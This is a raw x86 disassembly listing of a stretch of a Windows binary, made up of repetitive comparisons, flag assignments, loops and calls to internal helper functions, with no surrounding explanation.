mov eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x2014]
je 0x481d84
mov dword [ebp - 0x1a14], 1
jmp 0x481d8b
and dword [ebp - 0x1a14], 0
mov eax, dword [ebp - 0x1a14]
mov dword [ebp - 0xcdc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2f64], 0
jne 0x481e36
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2960], eax
mov esi, dword [ebp - 0x2e44]
push 2
lea ecx, [ebp - 0x278c]
call fcn.00435532
add esi, dword [eax]
imul esi, dword [ebp - 0xc0]
push 4
pop eax
imul eax, eax, 0
cmp esi, dword [ebp + eax - 0x2f64]
jle 0x481dee
mov dword [ebp - 0xc64], 1
jmp 0x481df5
and dword [ebp - 0xc64], 0
push 1
lea ecx, [ebp - 0x278c]
call fcn.00435532
mov ecx, dword [ebp - 0xc64]
mov dword [eax], ecx
cmp dword [ebp - 0xc64], 0
jne 0x481e1a
cmp dword [ebp - 0x201c], 0
mov dword [ebp - 0x2968], 0
cmp dword [ebp - 0x550], 0
jne 0x481e36
and dword [ebp - 0x265c], 0
jmp 0x481e40
mov dword [ebp - 0x265c], 1
cmp dword [ebp - 0x265c], 0x87c7
jl 0x481e58
mov dword [ebp - 0x1a1c], 1
jmp 0x481e5f
and dword [ebp - 0x1a1c], 0
mov eax, dword [ebp - 0x1a1c]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0xc0], eax
jge 0x481e85
mov dword [ebp - 0x1a24], 1
jmp 0x481e8c
and dword [ebp - 0x1a24], 0
mov eax, dword [ebp - 0x201c]
cmp dword [ebp - 0x1a24], eax
jne 0x481eaf
mov eax, 0xb06574f2
test eax, eax
je 0x481eaf
mov dword [ebp - 0x231c], 1
jmp 0x481eb6
and dword [ebp - 0x231c], 0
mov eax, dword [ebp - 0x2324]
cmp dword [ebp - 0x231c], eax
jne 0x481ed0
mov dword [ebp - 0x2ba8], 1
jmp 0x481ed7
and dword [ebp - 0x2ba8], 0
imul eax, dword [ebp - 0x260], 0x6c01
test eax, eax
jne 0x481ef7
mov eax, 0x4e60
test eax, eax
jne 0x481ef7
and dword [ebp - 0x1a2c], 0
jmp 0x481f01
mov dword [ebp - 0x1a2c], 1
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x347c]
cmp dword [ebp - 0x1a2c], eax
jne 0x481f22
mov dword [ebp - 0x2024], 1
jmp 0x481f29
and dword [ebp - 0x2024], 0
mov eax, dword [ebp - 0x2024]
mov dword [ebp - 0x2970], eax
jmp 0x481c45
mov eax, dword [ebp - 0xcdc]
cmp dword [ebp - 0x1a34], eax
jle 0x481f54
mov dword [ebp - 0x2034], 1
jmp 0x481f5b
and dword [ebp - 0x2034], 0
push 0
lea ecx, [ebp - 0x278c]
call fcn.00435532
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x347c]
cmp dword [eax], ecx
je 0x481f84
mov dword [ebp - 0x24a4], 1
jmp 0x481f8b
and dword [ebp - 0x24a4], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x24a4], eax
jne 0x481fa5
mov dword [ebp - 0x1a3c], 1
jmp 0x481fac
and dword [ebp - 0x1a3c], 0
push 2
lea ecx, [ebp - 0x278c]
call fcn.00435532
mov ecx, dword [ebp - 0x1a3c]
cmp ecx, dword [eax]
jge 0x481fcf
mov dword [ebp - 0xbbc], 1
jmp 0x481fd6
and dword [ebp - 0xbbc], 0
push 1
lea ecx, [ebp - 0x278c]
call fcn.00435532
mov ecx, dword [ebp - 0xbbc]
mov dword [eax], ecx
cmp dword [ebp - 0xbbc], 0xd0043bd3
je 0x482003
mov dword [ebp - 0x202c], 1
jmp 0x48200a
and dword [ebp - 0x202c], 0
cmp dword [ebp - 0x202c], 0x9ac0
jle 0x482022
mov dword [ebp - 0x1a44], 1
jmp 0x482029
and dword [ebp - 0x1a44], 0
mov eax, dword [ebp - 0x260]
add eax, dword [ebp - 0x1a44]
cmp dword [ebp - 0x2324], eax
jle 0x482049
mov dword [ebp - 0x1a4c], 1
jmp 0x482050
and dword [ebp - 0x1a4c], 0
cmp dword [ebp - 0x1a4c], 0x1593
jle 0x482068
mov dword [ebp - 0x1a54], 1
jmp 0x48206f
and dword [ebp - 0x1a54], 0
mov eax, dword [ebp - 0x2034]
imul eax, dword [ebp - 0x1a54]
add eax, dword [ebp - 0xc0]
jne 0x48209d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x347c], 0
jne 0x48209d
and dword [ebp - 0x2574], 0
jmp 0x4820a7
mov dword [ebp - 0x2574], 1
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0x2574], eax
jl 0x4820c1
mov dword [ebp - 0x1a5c], 1
jmp 0x4820c8
and dword [ebp - 0x1a5c], 0
mov eax, dword [ebp - 0x260]
cmp dword [ebp - 0x1a5c], eax
jg 0x4820e2
mov dword [ebp - 0x203c], 1
jmp 0x4820e9
and dword [ebp - 0x203c], 0
mov eax, dword [ebp - 0x203c]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jne 0x482107
mov eax, 0x408d
test eax, eax
je 0x48211c
cmp dword [ebp - 0xcdc], 0
je 0x48211c
mov dword [ebp - 0x1a64], 1
jmp 0x482123
and dword [ebp - 0x1a64], 0
mov eax, dword [ebp - 0x260]
add eax, dword [ebp - 0x1a64]
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x278c]
call fcn.00435516
mov dword [ebp - 0xf0], 0xffffffff
mov dword [ebp - 4], 0x60b4ffb8
mov dword [ebp - 0xbc4], 4
mov dword [ebp - 0x478], 0
mov dword [ebp - 0x6a4], 0
jmp 0x48217e
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 1
jge 0x482197
mov eax, dword [ebp - 0x6a4]
mov dword [ebp + eax*4 - 0x30], 0xc64a
jmp 0x482171
mov dword [ebp - 4], 0
jmp 0x4821a7
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x482337
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x30], 0xffffffff
jg 0x4821c7
mov dword [ebp - 0x2cf0], 1
jmp 0x4821ce
and dword [ebp - 0x2cf0], 0
mov eax, dword [ebp - 4]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x30]
cmp dword [ebp + eax*4 - 0x30], ecx
jle 0x4821ed
mov dword [ebp - 0x232c], 1
jmp 0x4821f4
and dword [ebp - 0x232c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x232c], eax
jg 0x48220b
mov dword [ebp - 0x1a6c], 1
jmp 0x482212
and dword [ebp - 0x1a6c], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x30]
add eax, dword [ebp - 0x1a6c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x30]
jle 0x482237
mov dword [ebp - 0x2044], 1
jmp 0x48223e
and dword [ebp - 0x2044], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x30]
cmp dword [ebp - 0x2044], eax
jle 0x482259
mov dword [ebp - 0x2978], 1
jmp 0x482260
and dword [ebp - 0x2978], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x30]
add eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
cmp eax, 0x39e2
jge 0x482280
mov dword [ebp - 0x1a74], 1
jmp 0x482287
and dword [ebp - 0x1a74], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x30]
cmp dword [ebp - 0x1a74], eax
jg 0x4822a2
mov dword [ebp - 0x24ac], 1
jmp 0x4822a9
and dword [ebp - 0x24ac], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x24ac], eax
jg 0x4822c0
mov dword [ebp - 0x2bb0], 1
jmp 0x4822c7
and dword [ebp - 0x2bb0], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x30]
mov dword [ebp - 0x3544], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 4]
cmp dword [ebp + eax - 0x30], ecx
jl 0x4822f6
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x30], 0
jne 0x4822f6
and dword [ebp - 0x2980], 0
jmp 0x482300
mov dword [ebp - 0x2980], 1
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x30]
mov dword [ebp - 0x3c5c], eax
cmp dword [ebp - 4], 0
ja 0x48231f
mov dword [ebp - 0x1a7c], 1
jmp 0x482326
and dword [ebp - 0x1a7c], 0
mov eax, dword [ebp - 0x1a7c]
mov dword [ebp - 0xbc4], eax
jmp 0x4821a0
cmp dword [ebp - 4], 0
jne 0x482403
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
jne 0x482352
cmp dword [ebp - 4], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x30], 0x7342
cmp eax, 0xffff
jne 0x482373
mov dword [ebp - 0x204c], 1
jmp 0x48237a
and dword [ebp - 0x204c], 0
mov eax, dword [ebp - 0xbc4]
cmp dword [ebp - 0x204c], eax
jl 0x482394
mov dword [ebp - 0x1a84], 1
jmp 0x48239b
and dword [ebp - 0x1a84], 0
mov eax, dword [ebp - 0x1a84]
sub eax, dword [ebp - 0xbc4]
jne 0x4823bf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
jne 0x4823bf
and dword [ebp - 0x2334], 0
jmp 0x4823c9
mov dword [ebp - 0x2334], 1
mov eax, dword [ebp - 0x2334]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x30]
jg 0x4823e9
mov dword [ebp - 0x1a8c], 1
jmp 0x4823f0
and dword [ebp - 0x1a8c], 0
mov eax, dword [ebp - 0x1a8c]
neg eax
jne 0x482403
and dword [ebp - 0x2e10], 0
jmp 0x48240d
mov dword [ebp - 0x2e10], 1
mov eax, dword [ebp - 4]
mov dword [ebp - 0x354c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0x8bee6dab
jae 0x482432
mov dword [ebp - 0x2054], 1
jmp 0x482439
and dword [ebp - 0x2054], 0
cmp dword [ebp - 0x2054], 6
ja 0x48244e
mov dword [ebp - 0x1a94], 1
jmp 0x482455
and dword [ebp - 0x1a94], 0
mov eax, dword [ebp - 0x1a94]
add eax, 0xffff
je 0x482477
cmp dword [ebp - 0x478], 0
je 0x482477
mov dword [ebp - 0x2634], 1
jmp 0x48247e
and dword [ebp - 0x2634], 0
mov eax, dword [ebp - 0x2634]
add eax, 4
je 0x4824b8
mov dword [ebp - 4], 0
jmp 0x482499
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 6
jge 0x4824b6
mov dword [ebp - 0x2988], 0
cmp dword [ebp - 0x2988], 0
je 0x4824b4
jmp 0x4824b6
jmp 0x482492
jmp 0x482505
mov byte [ebp - 0x30e], 0
movzx eax, byte [ebp - 0x30e]
test eax, eax
je 0x4824d2
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [ebp - 0x478], 0
jmp 0x4824eb
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0
jg 0x482505
mov eax, dword [ebp - 0x478]
cmp dword [ebp + eax*4 - 0x30], 0
je 0x482503
jmp 0x482505
jmp 0x4824de
mov dword [ebp - 0x480], 0xead
mov dword [ebp - 0x6b4], 0xc87a9b65
push 2
lea ecx, [ebp - 0x2d7c]
call fcn.00435444
mov dword [ebp - 0xbcc], 0xfffffffb
mov dword [ebp - 0x6ac], 1
mov dword [ebp - 0x1abc], 1
mov dword [ebp - 0x1acc], 8
mov dword [ebp - 0x1adc], 0x3b76f056
mov dword [ebp - 0x2d00], 0x40fd7713
mov dword [ebp - 0x7c], 0
jmp 0x482572
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x482588
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x534], 0x79b69b2e
jmp 0x48256b
mov dword [ebp - 0x7c], 0
jmp 0x482598
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 4
jge 0x4825ae
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x3e58], 0xfffffffb
jmp 0x482591
mov dword [ebp - 0x7c], 0
jmp 0x4825be
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x4825d7
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x2d7c]
call fcn.00435532
or dword [eax], 0xffffffff
jmp 0x4825b7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x534]
cmp dword [ebp - 0x6b4], eax
je 0x4825f8
mov dword [ebp - 0xc6c], 1
jmp 0x4825ff
and dword [ebp - 0xc6c], 0
push 0
lea ecx, [ebp - 0x2d7c]
call fcn.00435532
mov ecx, dword [ebp - 0xc6c]
mov dword [eax], ecx
cmp dword [ebp - 0xc6c], 0
jb 0x48262d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x534], 0
jne 0x482646
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x534], 0
jne 0x482646
and dword [ebp - 0x1a9c], 0
jmp 0x482650
mov dword [ebp - 0x1a9c], 1
cmp dword [ebp - 0x1a9c], 0xffffffff
je 0x482665
mov dword [ebp - 0x205c], 1
jmp 0x48266c
and dword [ebp - 0x205c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x205c]
sub ecx, dword [ebp + eax - 0x534]
jne 0x482693
mov eax, 0x332e
test eax, eax
jne 0x482693
and dword [ebp - 0x1aa4], 0
jmp 0x48269d
mov dword [ebp - 0x1aa4], 1
mov eax, dword [ebp - 0xbcc]
cmp dword [ebp - 0x1aa4], eax
jge 0x4826b7
mov dword [ebp - 0x233c], 1
jmp 0x4826be
and dword [ebp - 0x233c], 0
mov eax, dword [ebp - 0x233c]
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0x480]
imul eax, dword [ebp - 0xbcc]
test eax, eax
jne 0x4826eb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x534], 0
je 0x482700
cmp dword [ebp - 0x6ac], 0
je 0x482700
mov dword [ebp - 0x2bb8], 1
jmp 0x482707
and dword [ebp - 0x2bb8], 0
mov eax, dword [ebp - 0x6ac]
mov dword [ebp - 0x3934], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x3554], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x3e2c], eax
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x534], 0
mov dword [ebp - 0x1aac], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1aac]
mov dword [ebp + eax - 0x3e58], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x534]
imul eax, dword [ebp - 0x1aac]
test eax, eax
jne 0x48277a
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3e58], 0
je 0x48278b
xor eax, eax
inc eax
je 0x48278b
mov dword [ebp - 0x2064], 1
jmp 0x482792
and dword [ebp - 0x2064], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x534]
cmp dword [ebp - 0x2064], eax
jge 0x4827b3
mov dword [ebp - 0x1ab4], 1
jmp 0x4827ba
and dword [ebp - 0x1ab4], 0
mov eax, dword [ebp - 0x6ac]
cmp dword [ebp - 0x1ab4], eax
jne 0x4827d4
mov dword [ebp - 0x2990], 1
jmp 0x4827db
and dword [ebp - 0x2990], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x534]
mov dword [ebp - 0x355c], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x393c], eax
push 0
lea ecx, [ebp - 0x2d7c]
call fcn.00435532
cmp dword [eax], 0
jne 0x482825
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x534], 0
jne 0x482825
and dword [ebp - 0x24b4], 0
jmp 0x48282f
mov dword [ebp - 0x24b4], 1
mov eax, dword [ebp - 0x24b4]
mov dword [ebp - 0x1abc], eax
cmp dword [ebp - 0x1abc], 0
jne 0x482856
cmp dword [ebp - 0x480], 0
jne 0x482856
and dword [ebp - 0x206c], 0
jmp 0x482860
mov dword [ebp - 0x206c], 1
cmp dword [ebp - 0x206c], 0xec7e
jle 0x482878
mov dword [ebp - 0x1ac4], 1
jmp 0x48287f
and dword [ebp - 0x1ac4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x534]
imul eax, dword [ebp - 0x1ac4]
test eax, eax
je 0x4828a0
cmp dword [ebp - 0x480], 0
jne 0x4828b2
cmp dword [ebp - 0x6b4], 0
jne 0x4828b2
and dword [ebp - 0x2344], 0
jmp 0x4828bc
mov dword [ebp - 0x2344], 1
mov eax, dword [ebp - 0x2344]
sub eax, 0x174d
mov dword [ebp - 0x1acc], eax
je 0x4828ed
push 0
lea ecx, [ebp - 0x2d7c]
call fcn.00435532
cmp dword [eax], 0
je 0x4828ed
mov dword [ebp - 0x2074], 1
jmp 0x4828f4
and dword [ebp - 0x2074], 0
mov eax, dword [ebp - 0x2074]
sub eax, dword [ebp - 0x6ac]
cmp eax, dword [ebp - 0x6b4]
jg 0x482914
mov dword [ebp - 0x1ad4], 1
jmp 0x48291b
and dword [ebp - 0x1ad4], 0
mov eax, dword [ebp - 0x6b4]
cmp dword [ebp - 0x1ad4], eax
jl 0x482935
mov dword [ebp - 0x2584], 1
jmp 0x48293c
and dword [ebp - 0x2584], 0
imul eax, dword [ebp - 0x2584], 0xffff
mov dword [ebp - 0x1adc], eax
mov eax, dword [ebp - 0x1adc]
mov dword [ebp - 0x2d00], eax
lea ecx, [ebp - 0x2d7c]
call fcn.00435516
mov dword [ebp - 0x2a88], 1
mov dword [ebp - 0x38], 3
mov dword [ebp - 0x558], 1
mov dword [ebp - 0x2bc0], 0x7b88cdf8
cmp dword [ebp - 0x38], 0
jne 0x482aa9
cmp dword [ebp - 0x38], 0
jne 0x4829a7
cmp dword [ebp - 0x38], 0
jne 0x4829a7
and dword [ebp - 0x207c], 0
jmp 0x4829b1
mov dword [ebp - 0x207c], 1
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x207c], eax
je 0x4829c8
mov dword [ebp - 0x1ae4], 1
jmp 0x4829cf
and dword [ebp - 0x1ae4], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x1ae4], eax
jle 0x4829e6
mov dword [ebp - 0x234c], 1
jmp 0x4829ed
and dword [ebp - 0x234c], 0
mov eax, 0x93d0b548
sub eax, dword [ebp - 0x234c]
jne 0x482a07
xor eax, eax
jne 0x482a07
and dword [ebp - 0x1aec], 0
jmp 0x482a11
mov dword [ebp - 0x1aec], 1
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x1aec]
jg 0x482a2e
cmp dword [ebp - 0x38], 0
je 0x482a2e
mov dword [ebp - 0x2084], 1
jmp 0x482a35
and dword [ebp - 0x2084], 0
cmp dword [ebp - 0x2084], 0x6a7609fa
jle 0x482a4d
mov dword [ebp - 0x2998], 1
jmp 0x482a54
and dword [ebp - 0x2998], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3564], eax
push 7
pop eax
cmp eax, 1
jbe 0x482a71
mov dword [ebp - 0x1af4], 1
jmp 0x482a78
and dword [ebp - 0x1af4], 0
cmp dword [ebp - 0x1af4], 0xc248
jl 0x482a90
mov dword [ebp - 0x1afc], 1
cmp dword [ebp - 0x1afc], 0x5f43
je 0x482acb
mov dword [ebp - 0x208c], 1
jmp 0x482ad2
and dword [ebp - 0x208c], 0
mov eax, dword [ebp - 0x208c]
sub eax, dword [ebp - 0x38]
cmp eax, 9
jne 0x482aec
mov dword [ebp - 0x1b04], 1
jmp 0x482af3
and dword [ebp - 0x1b04], 0
cmp dword [ebp - 0x1b04], 8
jge 0x482b08
mov dword [ebp - 0x2354], 1
jmp 0x482b0f
and dword [ebp - 0x2354], 0
mov eax, dword [ebp - 0x2354]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x38], eax
jne 0x482b2f
mov dword [ebp - 0x1b0c], 1
jmp 0x482b36
and dword [ebp - 0x1b0c], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x1b0c], eax
jle 0x482b4d
mov dword [ebp - 0x2094], 1
jmp 0x482b54
and dword [ebp - 0x2094], 0
mov eax, dword [ebp - 0x2094]
mov dword [ebp - 0x2bc0], eax
mov dword [ebp - 0x38], 0
jmp 0x482b70
cmp dword [ebp - 0x38], 0x27
jge 0x482d7a
mov dword [ebp - 0x488], 0xfd8c6581
push 1
lea ecx, [ebp - 0x2f28]
call fcn.00435444
mov dword [ebp - 0x29a8], 0xa4b1f059
mov dword [ebp - 0x194], 0
jmp 0x482bb4
mov dword [ebp - 0x357c], 0x7f20bab1
mov dword [ebp - 0x6bc], 1
mov dword [ebp - 0x3058], 0x90a3
mov dword [ebp - 0x3054], 0x90a3
mov dword [ebp - 0x3050], 0x90a3
mov dword [ebp - 0x304c], 0x90a3
lea ecx, [ebp - 0xa85]
call fcn.00435541
push eax
lea eax, [ebp - 0x3048]
push eax
lea eax, [ebp - 0x3058]
push eax
lea ecx, [ebp - 0x3fac]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3a68]
call fcn.004354f0
mov dword [ebp - 0x6bc], 0xffffffe3
jmp 0x482e04
push 2
lea ecx, [ebp - 0x26f0]
call fcn.00435444
mov dword [ebp - 0xbf8], 0xffffffff
mov dword [ebp - 0x12b8], 0xa9c4c8d3
mov dword [ebp - 0x2874], 0x4bf8f0aa
mov dword [ebp - 0x12b0], 0xbf2121f9
mov dword [ebp - 0x1268], 1
mov dword [ebp - 0x286c], 0x15d7249a
mov dword [ebp - 0x1260], 2
mov dword [ebp - 0x9dc], 0
jmp 0x48ed49
mov eax, dword [ebp - 0x9dc]
inc eax
mov dword [ebp - 0x9dc], eax
cmp dword [ebp - 0x9dc], 2
jge 0x48ed68
push dword [ebp - 0x9dc]
lea ecx, [ebp - 0x26f0]
call fcn.00435532
and dword [eax], 0
jmp 0x48ed3c
push 0
lea ecx, [ebp - 0x26f0]
call fcn.00435532
and dword [eax], 0
jmp 0x48ed9e
push 0
lea ecx, [ebp - 0x26f0]
call fcn.00435532
mov dword [ebp - 0x1258], eax
mov eax, dword [ebp - 0x1258]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1258]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x26f0]
call fcn.00435532
cmp dword [eax], 0xfffffff3
jg 0x48eddd
mov dword [ebp - 0x3bf0], 0
mov dword [ebp - 0x385c], 0xfffffff9
mov dword [ebp - 0x3dc4], 0xfffffffe
mov eax, dword [ebp - 0x1260]
inc eax
mov dword [ebp - 0x1260], eax
jmp 0x48ed7a
mov eax, dword [ebp - 0xbf8]
add eax, dword [ebp - 0x1268]
cmp eax, 0x93fe6966
jne 0x48edfc
mov dword [ebp - 0x1270], 1
jmp 0x48ee03
and dword [ebp - 0x1270], 0
mov esi, dword [ebp - 0x1268]
push 0
lea ecx, [ebp - 0x26f0]
call fcn.00435532
sub esi, dword [eax]
cmp esi, dword [ebp - 0x1270]
jg 0x48ee2c
mov dword [ebp - 0x2864], 1
jmp 0x48ee33
and dword [ebp - 0x2864], 0
cmp dword [ebp - 0xbf8], 0
je 0x48ee51
mov eax, 0x51dd
test eax, eax
je 0x48ee51
and dword [ebp - 0x1278], 0
cmp dword [ebp - 0x1278], 3
jbe 0x48ee6d